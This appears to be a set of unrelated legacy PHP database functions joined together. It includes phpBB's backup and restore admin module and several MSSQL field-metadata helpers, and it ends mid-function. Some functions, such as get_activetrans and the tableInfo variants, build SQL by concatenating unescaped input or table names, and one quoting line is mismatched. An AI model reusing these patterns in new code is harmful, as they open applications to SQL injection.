function main($id, $mode) { global $db, $user, $auth, $template, $table_prefix; global $config, $phpbb_root_path, $phpbb_admin_path, $phpEx; $user->add_lang('acp/database'); $this->tpl_name = 'acp_database'; $this->page_title = 'ACP_DATABASE'; $action = request_var('action', ''); $submit = isset($_POST['submit']) ? true : false; $template->assign_vars(array('MODE' => $mode)); switch ($mode) { case 'backup': switch ($action) { case 'download': $type = request_var('type', ''); $table = request_var('table', array('')); $format = request_var('method', ''); $where = request_var('where', ''); $store = $download = $structure = $schema_data = false; if ($where == 'store_and_download' || $where == 'store') { $store = true; } if ($where == 'store_and_download' || $where == 'download') { $download = true; } if ($type == 'full' || $type == 'structure') { $structure = true; } if ($type == 'full' || $type == 'data') { $schema_data = true; } @set_time_limit(1200); $filename = time(); // We set up the info needed for our on-the-fly creation :D switch ($format) { case 'text': $ext = '.sql'; $open = 'fopen'; $write = 'fwrite'; $close = 'fclose'; $oper = ''; $mimetype = 'text/x-sql'; break; case 'bzip2': $ext = '.sql.bz2'; $open = 'bzopen'; $write = 'bzwrite'; $close = 'bzclose'; $oper = 'bzcompress'; $mimetype = 'application/x-bzip2'; break; case 'gzip': $ext = '.sql.gz'; $open = 'gzopen'; $write = 'gzwrite'; $close = 'gzclose'; $oper = 'gzencode'; $mimetype = 'application/x-gzip'; break; } // We write the file to "store" first (and then compress the file) to not use too much // memory. The server process can be easily killed by storing too much data at once. if ($store == true) { $file = $phpbb_root_path . 'store/' . $filename . $ext; $fp = $open($file, 'w'); if (!$fp) { trigger_error('Unable to write temporary file to storage folder'); } } if ($download == true) { $name = $filename . $ext; header('Pragma: no-cache'); header("Content-Type: {$mimetype}; name=\"{$name}\""); header("Content-disposition: attachment; filename={$name}"); } // All of the generated queries go here $sql_data = ''; $sql_data .= "#\n"; $sql_data .= "# phpBB Backup Script\n"; $sql_data .= "# Dump of tables for {$table_prefix}\n"; $sql_data .= "# DATE : " . gmdate("d-m-Y H:i:s", $filename) . " GMT\n"; $sql_data .= "#\n"; switch (SQL_LAYER) { case 'sqlite': $sql_data .= "BEGIN TRANSACTION;\n"; break; case 'postgres': $sql_data .= "BEGIN;\n"; break; case 'mssql': case 'mssql_odbc': $sql_data .= "BEGIN TRANSACTION\nGO\n"; break; } foreach ($table as $table_name) { // Get the table structure if ($structure) { switch (SQL_LAYER) { case 'mysqli': case 'mysql4': case 'mysql': case 'sqlite': $sql_data .= '# Table: ' . $table_name . "\n"; $sql_data .= "DROP TABLE IF EXISTS {$table_name};\n"; break; case 'oracle': $sql_data .= '# Table: ' . $table_name . "\n"; $sql_data .= "DROP TABLE {$table_name};\n\\\n"; break; case 'postgres': case 'firebird': $sql_data .= '# Table: ' . $table_name . "\n"; $sql_data .= "DROP TABLE {$table_name};\n"; break; case 'mssql': case 'mssql_odbc': $sql_data .= '# Table: ' . $table_name . "\n"; $sql_data .= "IF OBJECT_ID(N'{$table_name}', N'U') IS NOT NULL\n"; $sql_data .= "DROP TABLE {$table_name};\nGO\n"; break; } $sql_data .= $this->get_table_structure($table_name); } // Now write the data for the first time. :) if ($store == true) { $write($fp, $sql_data); } if ($download == true) { if (!empty($oper)) { echo $oper($sql_data); } else { echo $sql_data; } } $sql_data = ''; // Data if ($schema_data) { $sql_data .= "\n"; switch (SQL_LAYER) { case 'mysqli': $sql = "SELECT * FROM {$table_name}"; $result = mysqli_query($db->db_connect_id, $sql, MYSQLI_USE_RESULT); if ($result != false) { $fields_cnt = mysqli_num_fields($result); // Get field information $field = mysqli_fetch_fields($result); $field_set = array(); for ($j = 0; $j < $fields_cnt; $j++) { $field_set[$j] = $field[$j]->name; } $search = array('\\', "'", "", "\n", "\r", ""); $replace = array('\\\\\\\\', "''", '\\0', '\\n', '\\r', '\\Z'); $fields = implode(', ', $field_set); $values = array(); $schema_insert = 'INSERT INTO ' . $table_name . ' (' . $fields . ') VALUES ('; while ($row = mysqli_fetch_row($result)) { for ($j = 0; $j < $fields_cnt; $j++) { if (!isset($row[$j]) || is_null($row[$j])) { $values[$j] = 'NULL'; } else { if ($field[$j]->flags & 32768 && !($field[$j]->flags & 1024)) { $values[$j] = $row[$j]; } else { $values[$j] = "'" . str_replace($search, $replace, $row[$j]) . "'"; } } } $sql_data .= $schema_insert . implode(', ', $values) . ");\n"; if ($store == true) { $write($fp, $sql_data); } if ($download == true) { if (!empty($oper)) { echo $oper($sql_data); } else { echo $sql_data; } } $sql_data = ''; $values = array(); } mysqli_free_result($result); } break; case 'mysql4': case 'mysql': $sql = "SELECT * FROM {$table_name}"; $result = mysql_unbuffered_query($sql, $db->db_connect_id); if ($result != false) { $fields_cnt = mysql_num_fields($result); // Get field information $field = array(); for ($i = 0; $i < $fields_cnt; $i++) { $field[$i] = mysql_fetch_field($result, $i); } $field_set = array(); for ($j = 0; $j < $fields_cnt; $j++) { $field_set[$j] = $field[$j]->name; } $search = array('\\', "'", "", "\n", "\r", ""); $replace = array('\\\\\\\\', "''", '\\0', '\\n', '\\r', '\\Z'); $fields = implode(', ', $field_set); $schema_insert = 'INSERT INTO ' . $table_name . ' (' . $fields . ') VALUES ('; while ($row = mysql_fetch_row($result)) { $values = array(); for ($j = 0; $j < $fields_cnt; $j++) { if (!isset($row[$j]) || is_null($row[$j])) { $values[$j] = 'NULL'; } else { if ($field[$j]->numeric && $field[$j]->type !== 'timestamp') { $values[$j] = $row[$j]; } else { $values[$j] = "'" . str_replace($search, $replace, $row[$j]) . "'"; } } } $sql_data .= $schema_insert . implode(', ', $values) . ");\n"; if ($store == true) { $write($fp, $sql_data); } if ($download == true) { if (!empty($oper)) { echo $oper($sql_data); } else { echo $sql_data; } } $sql_data = ''; } mysql_free_result($result); } break; case 'sqlite': $col_types = sqlite_fetch_column_types($table_name, $db->db_connect_id); $sql = "SELECT * FROM {$table_name}"; $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { $names = $data = array(); foreach ($row as $row_name => $row_data) { $names[] = $row_name; // Figure out what this data is, escape it properly if (is_null($row_data)) { $row_data = 'NULL'; } else { if ($row_data == '') { $row_data = "''"; } else { if (strpos($col_types[$row_name], 'text') !== false || strpos($col_types[$row_name], 'char') !== false) { $row_data = "'" . $row_data . "'"; } } } $data[] = $row_data; } $sql_data .= 'INSERT INTO ' . $table_name . ' (' . implode(', ', $names) . ') VALUES (' . implode(', ', $data) . ");\n"; if ($store == true) { $write($fp, $sql_data); } if ($download == true) { if (!empty($oper)) { echo $oper($sql_data); } else { echo $sql_data; } } $sql_data = ''; } $db->sql_freeresult($result); break; case 'postgres': $ary_type = $ary_name = array(); // Grab all of the data from current table. $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}"; $result = $db->sql_query($sql); $i_num_fields = pg_num_fields($result); $seq = ''; for ($i = 0; $i < $i_num_fields; $i++) { $ary_type[$i] = pg_field_type($result, $i); $ary_name[$i] = pg_field_name($result, $i); $sql = "SELECT pg_get_expr(d.adbin, d.adrelid) as rowdefault\n\t\t\t\t\t\t\t\t\t\t\t\tFROM pg_attrdef d, pg_class c\n\t\t\t\t\t\t\t\t\t\t\t\tWHERE (c.relname = '{$table_name}')\n\t\t\t\t\t\t\t\t\t\t\t\t\tAND (c.oid = d.adrelid)\n\t\t\t\t\t\t\t\t\t\t\t\t\tAND d.adnum = " . strval($i + 1); $result2 = $db->sql_query($sql); if ($row = $db->sql_fetchrow($result2)) { // Determine if we must reset the sequences if (strpos($row['rowdefault'], 'nextval(\'') === 0) { $seq .= "SELECT SETVAL('{$table_name}_seq',(select case when max({$ary_name[$i]})>0 then max({$ary_name[$i]})+1 else 1 end from {$table_name}));\n"; } } } while ($row = $db->sql_fetchrow($result)) { $schema_vals = $schema_fields = array(); // Build the SQL statement to recreate the data. for ($i = 0; $i < $i_num_fields; $i++) { $str_val = $row[$ary_name[$i]]; if (preg_match('#char|text|bool#i', $ary_type[$i])) { $str_quote = "'"; $str_empty = ''; $str_val = addslashes($str_val); } else { if (preg_match('#date|timestamp#i', $ary_type[$i])) { if (empty($str_val)) { $str_quote = ''; } else { $str_quote = "'"; } } else { $str_quote = ''; $str_empty = 'NULL'; } } if (empty($str_val) && $str_val !== '0') { $str_val = $str_empty; } $schema_vals[$i] = $str_quote . $str_val . $str_quote; $schema_fields[$i] = $ary_name[$i]; } // Take the ordered fields and their associated data and build it // into a valid sql statement to recreate that field in the data. $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n"; if ($store == true) { $write($fp, $sql_data); } if ($download == true) { if (!empty($oper)) { echo $oper($sql_data); } else { echo $sql_data; } } $sql_data = ''; } $db->sql_freeresult($result); // Write out the sequence statements if ($store == true) { $write($fp, $seq); } if ($download == true) { if (!empty($oper)) { echo $oper($seq); } else { echo $seq; } } $seq = ''; break; case 'mssql_odbc': $ary_type = $ary_name = array(); $ident_set = false; // Grab all of the data from current table. $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}"; $result = $db->sql_query($sql); $retrieved_data = odbc_num_rows($result); if ($retrieved_data) { $sql = "SELECT 1 as has_identity\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tFROM INFORMATION_SCHEMA.COLUMNS\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE COLUMNPROPERTY(object_id('{$table_name}'), COLUMN_NAME, 'IsIdentity') = 1"; $result2 = $db->sql_query($sql); $row2 = $db->sql_fetchrow($result2); if (!empty($row2['has_identity'])) { $sql_data .= "\nSET IDENTITY_INSERT {$table_name} ON\nGO\n"; $ident_set = true; } $db->sql_freeresult($result2); } $i_num_fields = odbc_num_fields($result); for ($i = 0; $i < $i_num_fields; $i++) { $ary_type[$i] = odbc_field_type($result, $i); $ary_name[$i] = odbc_field_name($result, $i); } while ($row = $db->sql_fetchrow($result)) { $schema_vals = $schema_fields = array(); // Build the SQL statement to recreate the data. for ($i = 0; $i < $i_num_fields; $i++) { $str_val = $row[$ary_name[$i]]; if (preg_match('#char|text|bool#i', $ary_type[$i])) { $str_quote = "'"; $str_empty = ''; $str_val = addslashes($str_val); } else { if (preg_match('#date|timestamp#i', $ary_type[$i])) { if (empty($str_val)) { $str_quote = ''; } else { $str_quote = "'"; } } else { $str_quote = ''; $str_empty = 'NULL'; } } if (empty($str_val) && $str_val !== '0' && !(is_int($str_val) || is_float($str_val))) { $str_val = $str_empty; } $schema_vals[$i] = $str_quote . $str_val . $str_quote; $schema_fields[$i] = $ary_name[$i]; } // Take the ordered fields and their associated data and build it // into a valid sql statement to recreate that field in the data. $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n"; if ($store == true) { $write($fp, $sql_data); } if ($download == true) { if (!empty($oper)) { echo $oper($sql_data); } else { echo $sql_data; } } $sql_data = ''; } $db->sql_freeresult($result); if ($retrieved_data) { $sql_data = "\nGO\n"; if ($ident_set) { $sql_data .= "\nSET IDENTITY_INSERT {$table_name} OFF\nGO\n"; } } break; case 'mssql': $ary_type = $ary_name = array(); $ident_set = false; // Grab all of the data from current table. $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}"; $result = $db->sql_query($sql); $retrieved_data = mssql_num_rows($result); $i_num_fields = mssql_num_fields($result); for ($i = 0; $i < $i_num_fields; $i++) { $ary_type[$i] = mssql_field_type($result, $i); $ary_name[$i] = mssql_field_name($result, $i); } if ($retrieved_data) { $sql = "SELECT 1 as has_identity\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tFROM INFORMATION_SCHEMA.COLUMNS\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE COLUMNPROPERTY(object_id('{$table_name}'), COLUMN_NAME, 'IsIdentity') = 1"; $result2 = $db->sql_query($sql); $row2 = $db->sql_fetchrow($result2); if (!empty($row2['has_identity'])) { $sql_data .= "\nSET IDENTITY_INSERT {$table_name} ON\nGO\n"; $ident_set = true; } $db->sql_freeresult($result2); } while ($row = $db->sql_fetchrow($result)) { $schema_vals = $schema_fields = array(); // Build the SQL statement to recreate the data. for ($i = 0; $i < $i_num_fields; $i++) { $str_val = $row[$ary_name[$i]]; if (preg_match('#char|text|bool#i', $ary_type[$i])) { $str_quote = "'"; $str_empty = ''; $str_val = addslashes($str_val); } else { if (preg_match('#date|timestamp#i', $ary_type[$i])) { if (empty($str_val)) { $str_quote = ''; } else { $str_quote = "'"; } } else { $str_quote = ''; $str_empty = 'NULL'; } } if (empty($str_val) && $str_val !== '0' && !(is_int($str_val) || is_float($str_val))) { $str_val = $str_empty; } $schema_vals[$i] = $str_quote . $str_val . $str_quote; $schema_fields[$i] = $ary_name[$i]; } // Take the ordered fields and their associated data and build it // into a valid sql statement to recreate that field in the data. $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n"; if ($store == true) { $write($fp, $sql_data); } if ($download == true) { if (!empty($oper)) { echo $oper($sql_data); } else { echo $sql_data; } } $sql_data = ''; } $db->sql_freeresult($result); if ($retrieved_data) { $sql_data = "\nGO\n"; if ($ident_set) { $sql_data .= "\nSET IDENTITY_INSERT {$table_name} OFF\nGO\n"; } } break; case 'firebird': $ary_type = $ary_name = array(); // Grab all of the data from current table. $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}"; $result = $db->sql_query($sql); $i_num_fields = ibase_num_fields($result); for ($i = 0; $i < $i_num_fields; $i++) { $info = ibase_field_info($result, $i); $ary_type[$i] = $info['type']; $ary_name[$i] = $info['name']; } while ($row = $db->sql_fetchrow($result)) { $schema_vals = $schema_fields = array(); // Build the SQL statement to recreate the data. for ($i = 0; $i < $i_num_fields; $i++) { $str_val = $row[strtolower($ary_name[$i])]; if (preg_match('#char|text|bool#i', $ary_type[$i])) { $str_quote = "'"; $str_empty = ''; $str_val = addslashes($str_val); } else { if (preg_match('#date|timestamp#i', $ary_type[$i])) { if (empty($str_val)) { $str_quote = ''; } else { $str_quote = "'"; } } else { $str_quote = ''; $str_empty = 'NULL'; } } if (empty($str_val) && $str_val !== '0') { $str_val = $str_empty; } $schema_vals[$i] = $str_quote . $str_val . $str_quote; $schema_fields[$i] = "'" . $ary_name[$i] . "'"; } // Take the ordered fields and their associated data and build it // into a valid sql statement to recreate that field in the data. $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n"; if ($store == true) { $write($fp, $sql_data); } if ($download == true) { if (!empty($oper)) { echo $oper($sql_data); } else { echo $sql_data; } } $sql_data = ''; } $db->sql_freeresult($result); break; case 'oracle': $ary_type = $ary_name = array(); // Grab all of the data from current table. $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}"; $result = $db->sql_query($sql); $i_num_fields = ocinumcols($result); for ($i = 0; $i < $i_num_fields; $i++) { $ary_type[$i] = ocicolumntype($result, $i); $ary_name[$i] = ocicolumnname($result, $i); } while ($row = $db->sql_fetchrow($result)) { $schema_vals = $schema_fields = array(); // Build the SQL statement to recreate the data. for ($i = 0; $i < $i_num_fields; $i++) { $str_val = $row[$ary_name[$i]]; if (preg_match('#char|text|bool#i', $ary_type[$i])) { $str_quote = "'"; $str_empty = ''; $str_val = addslashes($str_val); } else { if (preg_match('#date|timestamp#i', $ary_type[$i])) { if (empty($str_val)) { $str_quote = ''; } else { $str_quote = "'"; } } else { $str_quote = ''; $str_empty = 'NULL'; } } if (empty($str_val) && $str_val !== '0') { $str_val = $str_empty; } $schema_vals[$i] = $str_quote . $str_val . $str_quote; $schema_fields[$i] = '"' . $ary_name[$i] . "'"; } // Take the ordered fields and their associated data and build it // into a valid sql statement to recreate that field in the data. $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n"; if ($store == true) { $write($fp, $sql_data); } if ($download == true) { if (!empty($oper)) { echo $oper($sql_data); } else { echo $sql_data; } } $sql_data = ''; } $db->sql_freeresult($result); break; } } } switch (SQL_LAYER) { case 'sqlite': case 'postgres': $sql_data .= "COMMIT;"; break; case 'mssql': case 'mssql_odbc': $sql_data .= "COMMIT\nGO"; break; } if ($store == true) { $write($fp, $sql_data); $close($fp); } if ($download == true) { if (!empty($oper)) { echo $oper($sql_data); } else { echo $sql_data; } exit; } unset($sql_data); add_log('admin', 'LOG_DB_BACKUP'); trigger_error($user->lang['BACKUP_SUCCESS']); break; default: $tables = array(); switch (SQL_LAYER) { case 'sqlite': $sql = "SELECT name\n\t\t\t\t\t\t\t\t\tFROM sqlite_master\n\t\t\t\t\t\t\t\t\tWHERE type='table'\n\t\t\t\t\t\t\t\t\tORDER BY name"; $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { if (strpos($row['name'], $table_prefix) === 0) { $tables[] = $row['name']; } } $db->sql_freeresult($result); break; case 'mysqli': case 'mysql4': case 'mysql': $sql = "SHOW TABLES\n\t\t\t\t\t\t\t\t\tLIKE '{$table_prefix}%'"; $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { $tables[] = current($row); } $db->sql_freeresult($result); break; case 'postgres': $sql = "SELECT relname\n\t\t\t\t\t\t\t\t\tFROM pg_stat_user_tables\n\t\t\t\t\t\t\t\t\tORDER BY relname;"; $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { if (strpos($row['relname'], $table_prefix) === 0) { $tables[] = $row['relname']; } } $db->sql_freeresult($result); break; case 'mssql': case 'mssql_odbc': $sql = "SELECT TABLE_NAME\n\t\t\t\t\t\t\t\t\tFROM INFORMATION_SCHEMA.TABLES\n\t\t\t\t\t\t\t\t\tWHERE TABLE_TYPE = 'BASE TABLE'\n\t\t\t\t\t\t\t\t\tORDER BY TABLE_NAME"; $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { if (strpos($row['TABLE_NAME'], $table_prefix) === 0) { $tables[] = $row['TABLE_NAME']; } } $db->sql_freeresult($result); break; case 'firebird': $sql = 'SELECT RDB$RELATION_NAME as TABLE_NAME FROM RDB$RELATIONS WHERE RDB$SYSTEM_FLAG=0 AND RDB$VIEW_BLR IS NULL'; $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { if (stripos($row['table_name'], $table_prefix) === 0) { $tables[] = $row['table_name']; } } $db->sql_freeresult($result); break; case 'oracle': $sql = 'SELECT TNAME as table_name FROM TAB'; $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { if (stripos($row['table_name'], $table_prefix) === 0) { $tables[] = $row['table_name']; } } $db->sql_freeresult($result); break; } foreach ($tables as $table) { $template->assign_block_vars('tables', array('TABLE' => $table)); } $template->assign_vars(array('U_ACTION' => $this->u_action . '&action=download')); $available_methods = array('gzip' => 'zlib', 'bzip2' => 'bz2'); foreach ($available_methods as $type => $module) { if (!@extension_loaded($module)) { continue; } $template->assign_block_vars('methods', array('TYPE' => $type)); } $template->assign_block_vars('methods', array('TYPE' => 'text')); break; } break; case 'restore': switch ($action) { case 'submit': $delete = request_var('delete', ''); $file = request_var('file', ''); preg_match('#^(\\d{10})\\.(sql(?:\\.(?:gz|bz2))?)$#', $file, $matches); $file_name = $phpbb_root_path . 'store/' . $matches[0]; if (!(file_exists($file_name) && is_readable($file_name))) { trigger_error($user->lang['BACKUP_INVALID']); } if ($delete) { unlink($file_name); trigger_error($user->lang['BACKUP_DELETE']); } $data = file_get_contents($file_name); switch ($matches[2]) { case 'sql.bz2': $data = bzdecompress($data); break; case 'sql.gz': $data = gzinflate(substr($data, 10)); break; } $download = request_var('download', ''); if ($download) { $name = $matches[0]; switch ($matches[2]) { case 'sql': $mimetype = 'text/x-sql'; break; case 'sql.bz2': $mimetype = 'application/x-bzip2'; break; case 'sql.gz': $mimetype = 'application/x-gzip'; break; } header('Pragma: no-cache'); header("Content-Type: {$mimetype}; name=\"{$name}\""); header("Content-disposition: attachment; filename={$name}"); echo $data; die; } if (!empty($data)) { // Strip out sql comments... remove_remarks($data); switch (SQL_LAYER) { case 'firebird': $delim = ';;'; break; case 'mysql': case 'mysql4': case 'mysqli': case 'sqlite': case 'postgres': $delim = ';'; break; case 'oracle': $delim = '/'; break; case 'mssql': case 'mssql-odbc': $delim = 'GO'; break; } $pieces = split_sql_file($data, $delim); $sql_count = count($pieces); for ($i = 0; $i < $sql_count; $i++) { $sql = trim($pieces[$i]); if (!empty($sql) && $sql[0] != '#') { $db->sql_query($sql); } } } add_log('admin', 'LOG_DB_RESTORE'); trigger_error($user->lang['RESTORE_SUCCESS']); break; default: $selected = false; $methods = array('sql'); $available_methods = array('sql.gz' => 'zlib', 'sql.bz2' => 'bz2'); foreach ($available_methods as $type => $module) { if (!@extension_loaded($module)) { continue; } $methods[] = $type; } $dir = $phpbb_root_path . 'store/'; $dh = opendir($dir); while (($file = readdir($dh)) !== false) { if (preg_match('#^(\\d{10})\\.(sql(?:\\.(?:gz|bz2))?)$#', $file, $matches)) { $supported = in_array($matches[2], $methods); if ($supported == 'true') { $template->assign_block_vars('files', array('FILE' => $file, 'NAME' => gmdate("d-m-Y H:i:s", $matches[1]), 'SUPPORTED' => $supported)); $selected = true; } } } closedir($dh); if ($selected === true) { $template->assign_var('EXISTS', true); } $template->assign_vars(array('U_ACTION' => $this->u_action . '&action=submit')); break; } break; } }
public function get_activetrans($criteria) { //select the database mssql_select_db($this->dbname, $this->dbcon); //SQL Select statement $xml = new XMLHandler(XML_DIR . "test.xml"); $sql_from_xml = $xml->getNode("active_trans"); $sqlselect = str_replace("FILTER_BY_PROGRAM", " AND SESSION_ID = '" . $criteria . "' ", $sql_from_xml); //Run the SQL query $result = mssql_query($sqlselect); $numfields = mssql_num_fields($result); $string_result = "<table class=\"table table-hover\"><thead><tr>"; for ($i = 0; $i < $numfields; $i++) { $string_result .= "<th>" . mssql_field_name($result, $i) . "</th>"; } $string_result .= "</tr></thead><tbody>"; while ($row = mssql_fetch_row($result)) { $string_result .= "<tr>"; for ($i = 0; $i < $numfields; $i++) { if ($i == 0) { $string_result .= "<th scope=\"row\">" . $row[$i] . "</th>"; } else { $string_result .= "<td>" . $row[$i] . "</td>"; } if (mssql_field_name($result, $i) == "SIZE") { if (!isset($_SESSION["size_id"]) && empty($_SESSION["size_id"])) { $_SESSION["size_id"] = $row[$i]; } } } $string_result .= "</tr>"; } $string_result .= "</tbody></table>"; return $string_result; }
/** * Returns information about a table or a result set * * NOTE: only supports 'table' and 'flags' if <var>$result</var> * is a table name. * * @param object|string $result MDB2_result object from a query or a * string containing the name of a table. * While this also accepts a query result * resource identifier, this behavior is * deprecated. * @param int $mode a valid tableInfo mode * * @return array an associative array with the information requested. * A MDB2_Error object on failure. * * @see MDB2_Driver_Common::tableInfo() */ function tableInfo($result, $mode = null) { if (is_string($result)) { return parent::tableInfo($result, $mode); } $db =& $this->getDBInstance(); if (PEAR::isError($db)) { return $db; } $resource = MDB2::isResultCommon($result) ? $result->getResource() : $result; if (!is_resource($resource)) { return $db->raiseError(MDB2_ERROR_NEED_MORE_DATA, null, null, 'Could not generate result resource', __FUNCTION__); } if ($db->options['portability'] & MDB2_PORTABILITY_FIX_CASE) { if ($db->options['field_case'] == CASE_LOWER) { $case_func = 'strtolower'; } else { $case_func = 'strtoupper'; } } else { $case_func = 'strval'; } $count = @mssql_num_fields($resource); $res = array(); if ($mode) { $res['num_fields'] = $count; } $db->loadModule('Datatype', null, true); for ($i = 0; $i < $count; $i++) { $res[$i] = array('table' => '', 'name' => $case_func(@mssql_field_name($resource, $i)), 'type' => @mssql_field_type($resource, $i), 'length' => @mssql_field_length($resource, $i), 'flags' => ''); $mdb2type_info = $db->datatype->mapNativeDatatype($res[$i]); if (PEAR::isError($mdb2type_info)) { return $mdb2type_info; } $res[$i]['mdb2type'] = $mdb2type_info[0][0]; if ($mode & MDB2_TABLEINFO_ORDER) { $res['order'][$res[$i]['name']] = $i; } if ($mode & MDB2_TABLEINFO_ORDERTABLE) { $res['ordertable'][$res[$i]['table']][$res[$i]['name']] = $i; } } return $res; }
public function table_info($table) { if ($table) { $this->result = mssql_query("select * from {$table}"); $this->query = "select * from {$table}"; $fields = mssql_num_fields($this->result); $rows = mssql_num_rows($this->result); $table = mssql_field_table($this->result, 0); print "\tThe '<strong>" . $table . "</strong>' table has <strong>" . $fields . "</strong> fields and <strong>" . $rows . "</strong>\n\t\t\t\t\t\trecord(s) with following fields.\n<br /><ul>"; for ($i = 0; $i < $fields; $i++) { $type = mssql_field_type($this->result, $i); $name = mssql_field_name($this->result, $i); $len = mssql_field_len($this->result, $i); $flags = mssql_field_flags($this->result, $i); print "<strong><li>" . $type . " " . $name . " " . $len . " " . $flags . "</strong></li>\n"; } print "</ul>"; } else { print "The table not specified !!"; } }
/** * Enter description here... * * @param unknown_type $results */ function resultSet(&$results) { $this->results =& $results; $this->map = array(); $numFields = mssql_num_fields($results); $index = 0; $j = 0; while ($j < $numFields) { $column = mssql_field_name($results, $j); if (strpos($column, '__')) { if (isset($this->__fieldMappings[$column]) && strpos($this->__fieldMappings[$column], '.')) { $map = explode('.', $this->__fieldMappings[$column]); } elseif (isset($this->__fieldMappings[$column])) { $map = array(0, $this->__fieldMappings[$column]); } else { $map = array(0, $column); } $this->map[$index++] = $map; } else { $this->map[$index++] = array(0, $column); } $j++; } }
/** * Devuelve el nombre de un campo en el resultado de un select * * @param int $number * @param resource $result_query * @return string */ public function field_name($number, $result_query = '') { if (!$this->id_connection) { return false; } if (!$result_query) { $result_query = $this->last_result_query; if (!$result_query) { return false; } } if (($fieldName = mssql_field_name($result_query, $number)) !== false) { return $fieldName; } else { throw new KumbiaException($this->error()); } return false; }
/** * Returns information about a table or a result set * * NOTE: doesn't support table name and flags if called from a db_result * * @param mixed $resource SQL Server result identifier or table name * @param int $mode A valid tableInfo mode (DB_TABLEINFO_ORDERTABLE or * DB_TABLEINFO_ORDER) * * @return array An array with all the information */ function tableInfo($result, $mode = null) { $count = 0; $id = 0; $res = array(); /* * depending on $mode, metadata returns the following values: * * - mode is false (default): * $result[]: * [0]["table"] table name * [0]["name"] field name * [0]["type"] field type * [0]["len"] field length * [0]["flags"] field flags * * - mode is DB_TABLEINFO_ORDER * $result[]: * ["num_fields"] number of metadata records * [0]["table"] table name * [0]["name"] field name * [0]["type"] field type * [0]["len"] field length * [0]["flags"] field flags * ["order"][field name] index of field named "field name" * The last one is used, if you have a field name, but no index. * Test: if (isset($result['meta']['myfield'])) { ... * * - mode is DB_TABLEINFO_ORDERTABLE * the same as above. but additionally * ["ordertable"][table name][field name] index of field * named "field name" * * this is, because if you have fields from different * tables with the same field name * they override each * other with DB_TABLEINFO_ORDER * * you can combine DB_TABLEINFO_ORDER and * DB_TABLEINFO_ORDERTABLE with DB_TABLEINFO_ORDER | * DB_TABLEINFO_ORDERTABLE * or with DB_TABLEINFO_FULL */ // if $result is a string, then we want information about a // table without a resultset if (is_string($result)) { $id = mssql_query("SELECT * FROM {$result}", $this->connection); if (empty($id)) { return $this->mssqlRaiseError(); } } else { // else we want information about a resultset $id = $result; if (empty($id)) { return $this->mssqlRaiseError(); } } $count = @mssql_num_fields($id); // made this IF due to performance (one if is faster than $count if's) if (empty($mode)) { for ($i = 0; $i < $count; $i++) { $res[$i]['table'] = is_string($result) ? $result : ''; $res[$i]['name'] = @mssql_field_name($id, $i); $res[$i]['type'] = @mssql_field_type($id, $i); $res[$i]['len'] = @mssql_field_length($id, $i); $res[$i]['flags'] = ''; } } else { // full $res['num_fields'] = $count; for ($i = 0; $i < $count; $i++) { $res[$i]['table'] = is_string($result) ? $result : ''; $res[$i]['name'] = @mssql_field_name($id, $i); $res[$i]['type'] = @mssql_field_type($id, $i); $res[$i]['len'] = @mssql_field_length($id, $i); $res[$i]['flags'] = ''; if ($mode & DB_TABLEINFO_ORDER) { $res['order'][$res[$i]['name']] = $i; } if ($mode & DB_TABLEINFO_ORDERTABLE) { $res['ordertable'][$res[$i]['table']][$res[$i]['name']] = $i; } } } // free the result only if we were called on a table if (is_string($result)) { @mssql_free_result($id); } return $res; }
/** * Retrieve the names of columns returned by the DBMS in a query result. * * @return mixed Array variable that holds the names of columns as keys * or an MDB2 error on failure. * Some DBMS may not return any columns when the result set * does not contain any rows. * @access private */ function _getColumnNames() { $columns = array(); $numcols = $this->numCols(); if (PEAR::isError($numcols)) { return $numcols; } for ($column = 0; $column < $numcols; $column++) { $column_name = @mssql_field_name($this->result, $column); $columns[$column_name] = $column; } if ($this->db->options['portability'] & MDB2_PORTABILITY_FIX_CASE) { $columns = array_change_key_case($columns, $this->db->options['field_case']); } return $columns; }
/** * Returns information about a table or a result set * * NOTE: only supports 'table' and 'flags' if <var>$result</var> * is a table name. * * @param object|string $result DB_result object from a query or a * string containing the name of a table. * While this also accepts a query result * resource identifier, this behavior is * deprecated. * @param int $mode a valid tableInfo mode * * @return array an associative array with the information requested. * A DB_Error object on failure. * * @see DB_common::tableInfo() */ function tableInfo($result, $mode = null) { if (is_string($result)) { /* * Probably received a table name. * Create a result resource identifier. */ if (!@mssql_select_db($this->_db, $this->connection)) { return $this->mssqlRaiseError(DB_ERROR_NODBSELECTED); } $id = @mssql_query("SELECT * FROM {$result} WHERE 1=0", $this->connection); $got_string = true; } elseif (isset($result->result)) { /* * Probably received a result object. * Extract the result resource identifier. */ $id = $result->result; $got_string = false; } else { /* * Probably received a result resource identifier. * Copy it. * Deprecated. Here for compatibility only. */ $id = $result; $got_string = false; } if (!is_resource($id)) { return $this->mssqlRaiseError(DB_ERROR_NEED_MORE_DATA); } if ($this->options['portability'] & DB_PORTABILITY_LOWERCASE) { $case_func = 'strtolower'; } else { $case_func = 'strval'; } $count = 